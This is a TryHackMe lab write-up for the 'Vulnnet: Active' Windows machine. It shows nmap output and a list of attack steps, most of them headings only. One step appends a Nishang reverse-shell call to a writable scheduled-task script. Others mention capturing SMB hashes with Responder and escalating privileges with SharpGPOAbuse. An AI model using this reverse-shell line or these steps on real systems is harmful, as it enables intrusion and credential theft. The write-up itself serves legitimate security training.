TryHackMe Vulnnet: Active

Requirements

  • enum4linux-ng

  • redis

  • haiti

  • john

  • smbmap

  • crackmapexec

  • metasploit

  • powersploit

  • smbclient

  • nullinux

  • villain

nmap

nmap -sV -p- -Pn 10.10.22.71 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-07 20:39 EST
Nmap scan report for 10.10.22.71
Host is up (0.086s latency).
Not shown: 65521 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
6379/tcp  open  redis         Redis key-value store 2.8.2402
9389/tcp  open  mc-nmf        .NET Message Framing
49665/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49683/tcp open  msrpc         Microsoft Windows RPC
49696/tcp open  msrpc         Microsoft Windows RPC
49720/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 221.02 seconds

enum4linux (smb enumeration)

impacket-rpcdump

redis enumeration

Redis version 2.8.2402 username is enterprise-security

responder (run this in another tab)

redis exploitation

smb credentials capturing

hashcracking

smb enumeration (authenticated)

smbclient

smbmap

nullinux https://github.com/m8sec/nullinux

smbclient

crackmapexec

shell access

Considering the naming of the "PurgeIrrelevantData_1826.ps1" file and the fact that we have READ/WRITE access, maybe that file is part of a scheduled task Download this https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1 Add "Invoke-PowerShellTcp -Reverse -IPAddress 10.9.191.227 -Port 4321" at the end of the script Upload it with name "PurgeIrrelevantData_1826.ps1"

Privilege escalation

Download SharpGPOAbuse and put it inside machine

Last updated